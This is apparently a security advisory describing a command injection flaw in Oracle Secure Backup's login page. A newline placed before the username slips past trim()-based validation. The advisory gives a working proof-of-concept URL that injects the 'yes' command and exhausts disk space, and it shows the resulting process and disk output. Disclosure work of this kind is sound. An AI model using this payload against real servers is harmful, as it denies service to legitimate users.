Oracle Secure Backup contains a flaw that allows for remote code execution. This flaw exists because the application does not validate the 'username' parameter before being passed to the 'validate_login' function in the /apache/htdocts/php/common.php script. This may allow a user to create a specially crafted URL that would execute arbitrary code on the remote server with the privileges of the web server.
Additional technical details:
The vulnerability lies in the validate_login()
function of /apache/htdocs/php/common.php
. If the username provided to this function is considered valid, it will be passed to a subsequent call to exec_qr()
, which can result in command injection. Note that validate_login()
makes some efforts to prevent command injection:
273 if (strlen($username) > 128 || preg_match("/[^a-zA-Z0-9._-]/", trim($username)))
274 {
275 $status_msg[] = "Error: login failed";
276 return false;
277 }
The function only allows alphanumeric characters (plus period, underscore, and dash) which thwarts most of the normal shell injection strings. However, it calls trim() on the username before performing this validation. Providing a crafted username will pass validation and result in command injection. (The first character is a newline rather than a literal "\n"). For example:
\ninjected-cmd
Unfortunately, this severely limits what can be injected as it must conform to the regex above. Further, it means that arguments cannot be passed to the injected command. As a proof of concept, injecting the yes
command can lead to a denial of service condition. During the login process, output is recorded to a temporary log file. If the yes
command is injected, an endless stream of 'y's gets appended to this log file, which eventually exhausts the space on whichever partition the log file is created on. This prevents subsequent log files from being created, which prevents any other users from logging in. This can be accomplished with the following URL:
https://[target]/login.php?attempt=1&uname=%0ayes
On the target system:
$ ps -ef | grep yes
nobody 11305 10485 0 11:32 pts/0 00:00:00 sh -c yes: invalid option -- - --gui -u ?yes lsuser -s ?yes 2>&1 | cat > /tmp/.LqMtP3
nobody 11308 11305 53 11:32 pts/0 00:00:03 yes
$ ls -lh /tmp/.LqMtP3 # the temp file, which has a random name in this format
-rw------- 1 nobody nobody 3.4G Jan 14 11:35 /tmp/.LqMtP3
$ df -h # after a few minutes...
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
8.2G 7.7G 0 100% /
/dev/sda1 99M 25M 70M 26% /boot
tmpfs 506M 0 506M 0% /dev/shm